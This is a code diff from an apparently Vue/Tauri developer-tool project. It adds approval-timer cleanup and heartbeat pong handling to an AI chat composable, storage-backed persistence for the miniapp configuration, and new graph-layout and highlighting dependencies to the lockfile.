clearWatchdog() // 终态:停看门狗 clearWatchdog() // 终态:停看门狗
pendingApprovals.splice(0, pendingApprovals.length) pendingApprovals.splice(0, pendingApprovals.length); clearAllApprovalTimers()
// P2-E:审批失败回填 —— 刚 approve(approved=true)成功发出但 device 返 AiError(执行失败/已被 // P2-E:审批失败回填 —— 刚 approve(approved=true)成功发出但 device 返 AiError(执行失败/已被
// 桌面端处理),回填 pendingApprovals 让用户重试,避免 UI 误导「已批准」实际未生效。 // 桌面端处理),回填 pendingApprovals 让用户重试,避免 UI 误导「已批准」实际未生效。
if (lastApprovedTc.value) { if (lastApprovedTc.value) {
@@ -674,7 +717,14 @@ function subscribeWs(): void {
} }
}, },
onControl: (msg: ControlMessage) => { onControl: (msg: ControlMessage) => {
// 心跳响应等,miniapp 仅 console(不维持在线状态 UI) // 心跳 pong 响应:relay 收到 miniapp ping 后直接回 pong(不经 device),
// miniapp 据此更新 lastPongTime 看门狗(ws.ts 已维护 lastInboundAt,但该路径不经过
// onControl,这里记录到变量供日志诊断)。pong 闭环治移动网络 TCP 半连接挂死。
if (msg.control_kind === 'pong') {
console.debug('[useAiChat] 收到心跳 pong(relay 响应,连接健康)')
return
}
// 其他 control 消息(hello_ack / pair 等)仅 console 不维持在线状态 UI
console.log('[useAiChat] control', msg) console.log('[useAiChat] control', msg)
}, },
onStatus: (status: WsStatus, detail?: string) => { onStatus: (status: WsStatus, detail?: string) => {
@@ -928,7 +978,7 @@ function switchConversation(convId: string): void {
lastApprovedTc.value = null // P2-E:切会话清审批回填标志(防跨会话误回填) lastApprovedTc.value = null // P2-E:切会话清审批回填标志(防跨会话误回填)
generating.value = false generating.value = false
// MINIAPP-03:清残留挂起状态,防旧会话审批卡/超时回调污染新会话视图(对齐 newConversation)。 // MINIAPP-03:清残留挂起状态,防旧会话审批卡/超时回调污染新会话视图(对齐 newConversation)。
pendingApprovals.splice(0, pendingApprovals.length) pendingApprovals.splice(0, pendingApprovals.length); clearAllApprovalTimers()
clearWatchdog() clearWatchdog()
// F-#95 扩展:发 load_messages 拉历史(device route_load_messages 读库 → AiMessageHistory 回流)。 // F-#95 扩展:发 load_messages 拉历史(device route_load_messages 读库 → AiMessageHistory 回流)。
@@ -1015,7 +1065,7 @@ function newConversation(): void {
maxRoundsActive.value = false // P1-E:新会话清 MaxRounds 挂起 maxRoundsActive.value = false // P1-E:新会话清 MaxRounds 挂起
lastApprovedTc.value = null // P2-E:新会话清审批回填标志 lastApprovedTc.value = null // P2-E:新会话清审批回填标志
generating.value = false generating.value = false
pendingApprovals.splice(0, pendingApprovals.length) pendingApprovals.splice(0, pendingApprovals.length); clearAllApprovalTimers()
} }
/** /**
@@ -1037,7 +1087,7 @@ function syncOnConnect(): void {
// req2:拉完整历史 // req2:拉完整历史
wsClient.send({ cmd: 'load_messages', args: { conversation_id: convId } }) wsClient.send({ cmd: 'load_messages', args: { conversation_id: convId } })
// req3:清本地 pending + 发 sync_pending 重推权威审批状态 // req3:清本地 pending + 发 sync_pending 重推权威审批状态
pendingApprovals.splice(0, pendingApprovals.length) pendingApprovals.splice(0, pendingApprovals.length); clearAllApprovalTimers()
wsClient.send({ cmd: 'sync_pending', args: { conversation_id: convId } }) wsClient.send({ cmd: 'sync_pending', args: { conversation_id: convId } })
} }

View File

@@ -42,13 +42,71 @@ export const defaultConfig: MiniappConfig = {
reconnectMaxDelay: 30000, reconnectMaxDelay: 30000,
} }
/** 单例配置(miniapp 内存配置,后续接 storage 持久化) */ /** storage key(持久化完整 MiniappConfig JSON) */
let _config: MiniappConfig = { ...defaultConfig } const STORAGE_KEY = 'df-miniapp-config'
/** 单例配置(null 表示尚未从 storage 加载) */
let _config: MiniappConfig | null = null
/**
* 从 storage 读取并合并默认配置
*
* uni.getStorageSync(key) 未命中时返回 ''(空字符串),命中返回原写入值。
* 容错:读取/解析失败仅 warn,不抛出,回落到 defaultConfig。
*/
function loadFromStorage(): MiniappConfig {
try {
const raw = uni.getStorageSync(STORAGE_KEY)
if (!raw) return { ...defaultConfig }
const parsed = JSON.parse(raw) as Partial<MiniappConfig>
// 合并默认值,避免旧版本字段缺失导致 undefined
return { ...defaultConfig, ...parsed }
} catch (e) {
console.warn('[df-miniapp] load config from storage failed:', e)
return { ...defaultConfig }
}
}
/**
* 同步写入 storage(JSON 序列化完整配置)
*
* 容错:写入失败仅 warn,不影响内存配置。
*/
function saveToStorage(config: MiniappConfig): void {
try {
uni.setStorageSync(STORAGE_KEY, JSON.stringify(config))
} catch (e) {
console.warn('[df-miniapp] save config to storage failed:', e)
}
}
export function getConfig(): MiniappConfig { export function getConfig(): MiniappConfig {
// 首次调用时从 storage 加载并缓存
if (_config === null) {
_config = loadFromStorage()
}
return _config return _config
} }
export function setConfig(patch: Partial<MiniappConfig>): void { export function setConfig(patch: Partial<MiniappConfig>): void {
// 确保已加载(避免在 getConfig 前调用 setConfig 丢失 storage 旧值)
if (_config === null) {
_config = loadFromStorage()
}
_config = { ..._config, ...patch } _config = { ..._config, ...patch }
saveToStorage(_config)
}
/**
* 重置为默认配置并清除 storage 持久化数据
*
* 用于用户重新配对或恢复出厂占位值的场景。
*/
export function resetConfig(): void {
_config = { ...defaultConfig }
try {
uni.removeStorageSync(STORAGE_KEY)
} catch (e) {
console.warn('[df-miniapp] remove config from storage failed:', e)
}
} }

View File

@@ -5,10 +5,18 @@
"": { "": {
"name": "devflow", "name": "devflow",
"dependencies": { "dependencies": {
"@antv/layout": "^2.0.0",
"@antv/x6": "^3.1.7",
"@antv/x6-vue-shape": "^3.0.2",
"@arco-design/web-vue": "^2.58.0", "@arco-design/web-vue": "^2.58.0",
"@tauri-apps/api": "^2", "@tauri-apps/api": "^2",
"dompurify": "^3.4.9", "@tauri-apps/plugin-dialog": "^2.7.1",
"@types/dagre": "^0.7.54",
"dagre": "^0.8.5",
"dompurify": "^3.4.10",
"highlight.js": "^11.11.1",
"marked": "^18.0.5", "marked": "^18.0.5",
"tslib": "^2.8.1",
"vue": "^3.5.13", "vue": "^3.5.13",
"vue-i18n": "9", "vue-i18n": "9",
"vue-router": "4", "vue-router": "4",
@@ -24,6 +32,20 @@
}, },
}, },
"packages": { "packages": {
"@antv/event-emitter": ["@antv/event-emitter@0.1.3", "https://registry.npmmirror.com/@antv/event-emitter/-/event-emitter-0.1.3.tgz", {}, "sha512-4ddpsiHN9Pd4UIlWuKVK1C4IiZIdbwQvy9i7DUSI3xNJ89FPUFt8lxDYj8GzzfdllV0NkJTRxnG+FvLk0llidg=="],
"@antv/expr": ["@antv/expr@1.0.2", "https://registry.npmmirror.com/@antv/expr/-/expr-1.0.2.tgz", {}, "sha512-vrfdmPHkTuiS5voVutKl2l06w1ihBh9A8SFdQPEE+2KMVpkymzGOF1eWpfkbGZ7tiFE15GodVdhhHomD/hdIwg=="],
"@antv/graphlib": ["@antv/graphlib@2.0.4", "https://registry.npmmirror.com/@antv/graphlib/-/graphlib-2.0.4.tgz", { "dependencies": { "@antv/event-emitter": "^0.1.3" } }, "sha512-zc/5oQlsdk42Z0ib1mGklwzhJ5vczLFiPa1v7DgJkTbgJ2YxRh9xdarf86zI49sKVJmgbweRpJs7Nu5bIiwv4w=="],
"@antv/layout": ["@antv/layout@2.0.0", "https://registry.npmmirror.com/@antv/layout/-/layout-2.0.0.tgz", { "dependencies": { "@antv/event-emitter": "^0.1.3", "@antv/expr": "^1.0.2", "@antv/graphlib": "^2.0.0", "@antv/util": "^3.3.2", "comlink": "^4.4.1", "d3-force": "^3.0.0", "d3-force-3d": "^3.0.5", "d3-octree": "^1.0.2", "d3-quadtree": "^3.0.1", "dagre": "^0.8.5", "ml-matrix": "^6.10.4", "tslib": "^2.8.1" } }, "sha512-aCZ3UdNc40SfT7meFV7QTADY2HCnc0DShVw56CJNTI6oExUIVU736grPuL5Dhb8/JrVaU4Y83QPN/P7KafBzlw=="],
"@antv/util": ["@antv/util@3.3.11", "https://registry.npmmirror.com/@antv/util/-/util-3.3.11.tgz", { "dependencies": { "fast-deep-equal": "^3.1.3", "gl-matrix": "^3.3.0", "tslib": "^2.3.1" } }, "sha512-FII08DFM4ABh2q5rPYdr0hMtKXRgeZazvXaFYCs7J7uTcWDHUhczab2qOCJLNDugoj8jFag1djb7wS9ehaRYBg=="],
"@antv/x6": ["@antv/x6@3.1.7", "https://registry.npmmirror.com/@antv/x6/-/x6-3.1.7.tgz", { "dependencies": { "dom-align": "^1.12.4", "lodash-es": "^4.17.15", "mousetrap": "^1.6.5", "utility-types": "^3.10.0" } }, "sha512-NLKXtbCK51oLbazfFD0XsD93rMmih08UBW4gAuEyLBpwAqHmHe+vP8VhOZDkl5O9jV1LSv85IJghr9CT5tZjWw=="],
"@antv/x6-vue-shape": ["@antv/x6-vue-shape@3.0.2", "https://registry.npmmirror.com/@antv/x6-vue-shape/-/x6-vue-shape-3.0.2.tgz", { "dependencies": { "vue-demi": "latest" }, "peerDependencies": { "@antv/x6": "^3.x", "@vue/composition-api": "^1.0.0-rc.1", "vue": "^2.0.0 || >=3.0.0" }, "optionalPeers": ["@vue/composition-api"] }, "sha512-HWnYFvLCaUD9ernINxTn9vCRj66eG/nXKErSSq0hfI4U1HOitC/1oUrzDdwL/BT80HKAQeSsmy7gpDA/79jYlw=="],
"@arco-design/color": ["@arco-design/color@0.4.0", "https://registry.npmmirror.com/@arco-design/color/-/color-0.4.0.tgz", { "dependencies": { "color": "^3.1.3" } }, "sha512-s7p9MSwJgHeL8DwcATaXvWT3m2SigKpxx4JA1BGPHL4gfvaQsmQfrLBDpjOJFJuJ2jG2dMt3R3P8Pm9E65q18g=="], "@arco-design/color": ["@arco-design/color@0.4.0", "https://registry.npmmirror.com/@arco-design/color/-/color-0.4.0.tgz", { "dependencies": { "color": "^3.1.3" } }, "sha512-s7p9MSwJgHeL8DwcATaXvWT3m2SigKpxx4JA1BGPHL4gfvaQsmQfrLBDpjOJFJuJ2jG2dMt3R3P8Pm9E65q18g=="],
"@arco-design/web-vue": ["@arco-design/web-vue@2.58.0", "https://registry.npmmirror.com/@arco-design/web-vue/-/web-vue-2.58.0.tgz", { "dependencies": { "@arco-design/color": "^0.4.0", "b-tween": "^0.3.3", "b-validate": "^1.5.3", "compute-scroll-into-view": "^1.0.20", "dayjs": "^1.11.13", "number-precision": "^1.6.0", "resize-observer-polyfill": "^1.5.1", "scroll-into-view-if-needed": "^2.2.31", "vue": "^3.1.0" } }, "sha512-b1vdPYOmjG5VAkVa7jlVwCb+WynBK+rnKN8zH3yKohpZObZbostRd3HgYNtjjZjGVU3OqR0Yy2FX7ftgF0bcOw=="], "@arco-design/web-vue": ["@arco-design/web-vue@2.58.0", "https://registry.npmmirror.com/@arco-design/web-vue/-/web-vue-2.58.0.tgz", { "dependencies": { "@arco-design/color": "^0.4.0", "b-tween": "^0.3.3", "b-validate": "^1.5.3", "compute-scroll-into-view": "^1.0.20", "dayjs": "^1.11.13", "number-precision": "^1.6.0", "resize-observer-polyfill": "^1.5.1", "scroll-into-view-if-needed": "^2.2.31", "vue": "^3.1.0" } }, "sha512-b1vdPYOmjG5VAkVa7jlVwCb+WynBK+rnKN8zH3yKohpZObZbostRd3HgYNtjjZjGVU3OqR0Yy2FX7ftgF0bcOw=="],
@@ -172,6 +194,10 @@
"@tauri-apps/cli-win32-x64-msvc": ["@tauri-apps/cli-win32-x64-msvc@2.11.2", "https://registry.npmmirror.com/@tauri-apps/cli-win32-x64-msvc/-/cli-win32-x64-msvc-2.11.2.tgz", { "os": "win32", "cpu": "x64" }, "sha512-d2JchlFIpZevZVReyqhQOekJmb1UH3rhZ5VX6sH3ty9ETE0TKQavpihvoScUXfKKpW6HZC0MrFGRU0ZtD+w3gA=="], "@tauri-apps/cli-win32-x64-msvc": ["@tauri-apps/cli-win32-x64-msvc@2.11.2", "https://registry.npmmirror.com/@tauri-apps/cli-win32-x64-msvc/-/cli-win32-x64-msvc-2.11.2.tgz", { "os": "win32", "cpu": "x64" }, "sha512-d2JchlFIpZevZVReyqhQOekJmb1UH3rhZ5VX6sH3ty9ETE0TKQavpihvoScUXfKKpW6HZC0MrFGRU0ZtD+w3gA=="],
"@tauri-apps/plugin-dialog": ["@tauri-apps/plugin-dialog@2.7.1", "https://registry.npmmirror.com/@tauri-apps/plugin-dialog/-/plugin-dialog-2.7.1.tgz", { "dependencies": { "@tauri-apps/api": "^2.11.0" } }, "sha512-OK1UBXYt+ojcmxMktzzuyonYIFta8CmAASpX+CA+DTGK24KlHjhYI6x2iOJ/TjZF4N7/ACK1oFmEOjIY9IhzOQ=="],
"@types/dagre": ["@types/dagre@0.7.54", "https://registry.npmmirror.com/@types/dagre/-/dagre-0.7.54.tgz", {}, "sha512-QjcRY+adGbYvBFS7cwv5txhVIwX1XXIUswWl+kSQTbI6NjgZydrZkEKX/etzVd7i+bCsCb40Z/xlBY5eoFuvWQ=="],
"@types/dompurify": ["@types/dompurify@3.2.0", "https://registry.npmmirror.com/@types/dompurify/-/dompurify-3.2.0.tgz", { "dependencies": { "dompurify": "*" } }, "sha512-Fgg31wv9QbLDA0SpTOXO3MaxySc4DKGLi8sna4/Utjo4r3ZRPdCt4UQee8BWr+Q5z21yifghREPJGYaEOEIACg=="], "@types/dompurify": ["@types/dompurify@3.2.0", "https://registry.npmmirror.com/@types/dompurify/-/dompurify-3.2.0.tgz", { "dependencies": { "dompurify": "*" } }, "sha512-Fgg31wv9QbLDA0SpTOXO3MaxySc4DKGLi8sna4/Utjo4r3ZRPdCt4UQee8BWr+Q5z21yifghREPJGYaEOEIACg=="],
"@types/estree": ["@types/estree@1.0.9", "https://registry.npmmirror.com/@types/estree/-/estree-1.0.9.tgz", {}, "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg=="], "@types/estree": ["@types/estree@1.0.9", "https://registry.npmmirror.com/@types/estree/-/estree-1.0.9.tgz", {}, "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg=="],
@@ -228,15 +254,35 @@
"color-string": ["color-string@1.9.1", "https://registry.npmmirror.com/color-string/-/color-string-1.9.1.tgz", { "dependencies": { "color-name": "^1.0.0", "simple-swizzle": "^0.2.2" } }, "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg=="], "color-string": ["color-string@1.9.1", "https://registry.npmmirror.com/color-string/-/color-string-1.9.1.tgz", { "dependencies": { "color-name": "^1.0.0", "simple-swizzle": "^0.2.2" } }, "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg=="],
"comlink": ["comlink@4.4.2", "https://registry.npmmirror.com/comlink/-/comlink-4.4.2.tgz", {}, "sha512-OxGdvBmJuNKSCMO4NTl1L47VRp6xn2wG4F/2hYzB6tiCb709otOxtEYCSvK80PtjODfXXZu8ds+Nw5kVCjqd2g=="],
"compute-scroll-into-view": ["compute-scroll-into-view@1.0.20", "https://registry.npmmirror.com/compute-scroll-into-view/-/compute-scroll-into-view-1.0.20.tgz", {}, "sha512-UCB0ioiyj8CRjtrvaceBLqqhZCVP+1B8+NWQhmdsm0VXOJtobBCf1dBQmebCCo34qZmUwZfIH2MZLqNHazrfjg=="], "compute-scroll-into-view": ["compute-scroll-into-view@1.0.20", "https://registry.npmmirror.com/compute-scroll-into-view/-/compute-scroll-into-view-1.0.20.tgz", {}, "sha512-UCB0ioiyj8CRjtrvaceBLqqhZCVP+1B8+NWQhmdsm0VXOJtobBCf1dBQmebCCo34qZmUwZfIH2MZLqNHazrfjg=="],
"csstype": ["csstype@3.2.3", "https://registry.npmmirror.com/csstype/-/csstype-3.2.3.tgz", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="], "csstype": ["csstype@3.2.3", "https://registry.npmmirror.com/csstype/-/csstype-3.2.3.tgz", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="],
"d3-binarytree": ["d3-binarytree@1.0.2", "https://registry.npmmirror.com/d3-binarytree/-/d3-binarytree-1.0.2.tgz", {}, "sha512-cElUNH+sHu95L04m92pG73t2MEJXKu+GeKUN1TJkFsu93E5W8E9Sc3kHEGJKgenGvj19m6upSn2EunvMgMD2Yw=="],
"d3-dispatch": ["d3-dispatch@3.0.1", "https://registry.npmmirror.com/d3-dispatch/-/d3-dispatch-3.0.1.tgz", {}, "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg=="],
"d3-force": ["d3-force@3.0.0", "https://registry.npmmirror.com/d3-force/-/d3-force-3.0.0.tgz", { "dependencies": { "d3-dispatch": "1 - 3", "d3-quadtree": "1 - 3", "d3-timer": "1 - 3" } }, "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg=="],
"d3-force-3d": ["d3-force-3d@3.0.6", "https://registry.npmmirror.com/d3-force-3d/-/d3-force-3d-3.0.6.tgz", { "dependencies": { "d3-binarytree": "1", "d3-dispatch": "1 - 3", "d3-octree": "1", "d3-quadtree": "1 - 3", "d3-timer": "1 - 3" } }, "sha512-4tsKHUPLOVkyfEffZo1v6sFHvGFwAIIjt/W8IThbp08DYAsXZck+2pSHEG5W1+gQgEvFLdZkYvmJAbRM2EzMnA=="],
"d3-octree": ["d3-octree@1.1.0", "https://registry.npmmirror.com/d3-octree/-/d3-octree-1.1.0.tgz", {}, "sha512-F8gPlqpP+HwRPMO/8uOu5wjH110+6q4cgJvgJT6vlpy3BEaDIKlTZrgHKZSp/i1InRpVfh4puY/kvL6MxK930A=="],
"d3-quadtree": ["d3-quadtree@3.0.1", "https://registry.npmmirror.com/d3-quadtree/-/d3-quadtree-3.0.1.tgz", {}, "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw=="],
"d3-timer": ["d3-timer@3.0.1", "https://registry.npmmirror.com/d3-timer/-/d3-timer-3.0.1.tgz", {}, "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA=="],
"dagre": ["dagre@0.8.5", "https://registry.npmmirror.com/dagre/-/dagre-0.8.5.tgz", { "dependencies": { "graphlib": "^2.1.8", "lodash": "^4.17.15" } }, "sha512-/aTqmnRta7x7MCCpExk7HQL2O4owCT2h8NT//9I1OQ9vt29Pa0BzSAkR5lwFUcQ7491yVi/3CXU9jQ5o0Mn2Sw=="],
"dayjs": ["dayjs@1.11.21", "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.21.tgz", {}, "sha512-98IT+HOahAisibz/yjKbzuOBwYcjJ7BCLPzARyHiyEBmRz4fatF+KPJszEHXsGYjUG234aH/cOjW1wwTbKUZlA=="], "dayjs": ["dayjs@1.11.21", "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.21.tgz", {}, "sha512-98IT+HOahAisibz/yjKbzuOBwYcjJ7BCLPzARyHiyEBmRz4fatF+KPJszEHXsGYjUG234aH/cOjW1wwTbKUZlA=="],
"de-indent": ["de-indent@1.0.2", "https://registry.npmmirror.com/de-indent/-/de-indent-1.0.2.tgz", {}, "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg=="], "de-indent": ["de-indent@1.0.2", "https://registry.npmmirror.com/de-indent/-/de-indent-1.0.2.tgz", {}, "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg=="],
"dompurify": ["dompurify@3.4.9", "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.9.tgz", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-4dPSRMRDqHvs0V4YDFCsaIZo4if5u0xM+llyxiM2fwuZFdKArUBAF3VtI2+n8NKg9P870WMdYk0UhqQNoWXbfQ=="], "dom-align": ["dom-align@1.12.4", "https://registry.npmmirror.com/dom-align/-/dom-align-1.12.4.tgz", {}, "sha512-R8LUSEay/68zE5c8/3BDxiTEvgb4xZTF0RKmAHfiEVN3klfIpXfi2/QCoiWPccVQ0J/ZGdz9OjzL4uJEP/MRAw=="],
"dompurify": ["dompurify@3.4.11", "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.11.tgz", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-zhlUV12GsaRzMsf9q5M254YhA4+VuF0fG+QFqu6aYpoGlKtz+w8//jBcGVYBgQkR5GHjUomejY84AV+/uPbWdw=="],
"entities": ["entities@7.0.1", "https://registry.npmmirror.com/entities/-/entities-7.0.1.tgz", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="], "entities": ["entities@7.0.1", "https://registry.npmmirror.com/entities/-/entities-7.0.1.tgz", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="],
@@ -244,20 +290,44 @@
"estree-walker": ["estree-walker@2.0.2", "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", {}, "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="], "estree-walker": ["estree-walker@2.0.2", "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", {}, "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="],
"fast-deep-equal": ["fast-deep-equal@3.1.3", "https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="],
"fdir": ["fdir@6.5.0", "https://registry.npmmirror.com/fdir/-/fdir-6.5.0.tgz", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="], "fdir": ["fdir@6.5.0", "https://registry.npmmirror.com/fdir/-/fdir-6.5.0.tgz", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="],
"fsevents": ["fsevents@2.3.3", "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], "fsevents": ["fsevents@2.3.3", "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
"gl-matrix": ["gl-matrix@3.4.4", "https://registry.npmmirror.com/gl-matrix/-/gl-matrix-3.4.4.tgz", {}, "sha512-latSnyDNt/8zYUB6VIJ6PCh2jBjJX6gnDsoCZ7LyW7GkqrD51EWwa9qCoGixj8YqBtETQK/xY7OmpTF8xz1DdQ=="],
"graphlib": ["graphlib@2.1.8", "https://registry.npmmirror.com/graphlib/-/graphlib-2.1.8.tgz", { "dependencies": { "lodash": "^4.17.15" } }, "sha512-jcLLfkpoVGmH7/InMC/1hIvOPSUh38oJtGhvrOFGzioE1DZ+0YW16RgmOJhHiuWTvGiJQ9Z1Ik43JvkRPRvE+A=="],
"he": ["he@1.2.0", "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", { "bin": { "he": "bin/he" } }, "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw=="], "he": ["he@1.2.0", "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", { "bin": { "he": "bin/he" } }, "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw=="],
"highlight.js": ["highlight.js@11.11.1", "https://registry.npmmirror.com/highlight.js/-/highlight.js-11.11.1.tgz", {}, "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w=="],
"is-any-array": ["is-any-array@3.0.0", "https://registry.npmmirror.com/is-any-array/-/is-any-array-3.0.0.tgz", {}, "sha512-o4h+tylWykC4BD1vaejp6gDxoM13bwW8FGuNs4yIKpj8xbBJcRxJx8vZpq0dCr7ZDEfeKjmsi/euolKhX6f/ww=="],
"is-arrayish": ["is-arrayish@0.3.4", "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.3.4.tgz", {}, "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA=="], "is-arrayish": ["is-arrayish@0.3.4", "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.3.4.tgz", {}, "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA=="],
"lodash": ["lodash@4.18.1", "https://registry.npmmirror.com/lodash/-/lodash-4.18.1.tgz", {}, "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q=="],
"lodash-es": ["lodash-es@4.18.1", "https://registry.npmmirror.com/lodash-es/-/lodash-es-4.18.1.tgz", {}, "sha512-J8xewKD/Gk22OZbhpOVSwcs60zhd95ESDwezOFuA3/099925PdHJ7OFHNTGtajL3AlZkykD32HykiMo+BIBI8A=="],
"magic-string": ["magic-string@0.30.21", "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], "magic-string": ["magic-string@0.30.21", "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
"marked": ["marked@18.0.5", "https://registry.npmmirror.com/marked/-/marked-18.0.5.tgz", { "bin": { "marked": "bin/marked.js" } }, "sha512-S6GcvALHg6K4ohtu4E7x0a1AqhAjp6cV8KhLSyN9qVapnzJkusVBxZRcIU9AeYsbe6P1hKDusSbEOzGyyuce6w=="], "marked": ["marked@18.0.5", "https://registry.npmmirror.com/marked/-/marked-18.0.5.tgz", { "bin": { "marked": "bin/marked.js" } }, "sha512-S6GcvALHg6K4ohtu4E7x0a1AqhAjp6cV8KhLSyN9qVapnzJkusVBxZRcIU9AeYsbe6P1hKDusSbEOzGyyuce6w=="],
"minimatch": ["minimatch@9.0.9", "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.9.tgz", { "dependencies": { "brace-expansion": "^2.0.2" } }, "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg=="], "minimatch": ["minimatch@9.0.9", "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.9.tgz", { "dependencies": { "brace-expansion": "^2.0.2" } }, "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg=="],
"ml-array-max": ["ml-array-max@2.0.0", "https://registry.npmmirror.com/ml-array-max/-/ml-array-max-2.0.0.tgz", { "dependencies": { "is-any-array": "^3.0.0" } }, "sha512-QQZ4kENwpWmyNb98UXRDFXrmtIXuXtt1+bSbda/2KA85+F+rrJP8hZk6QOkCQXM2Th9mUDYdq/PNByPdT9ID4A=="],
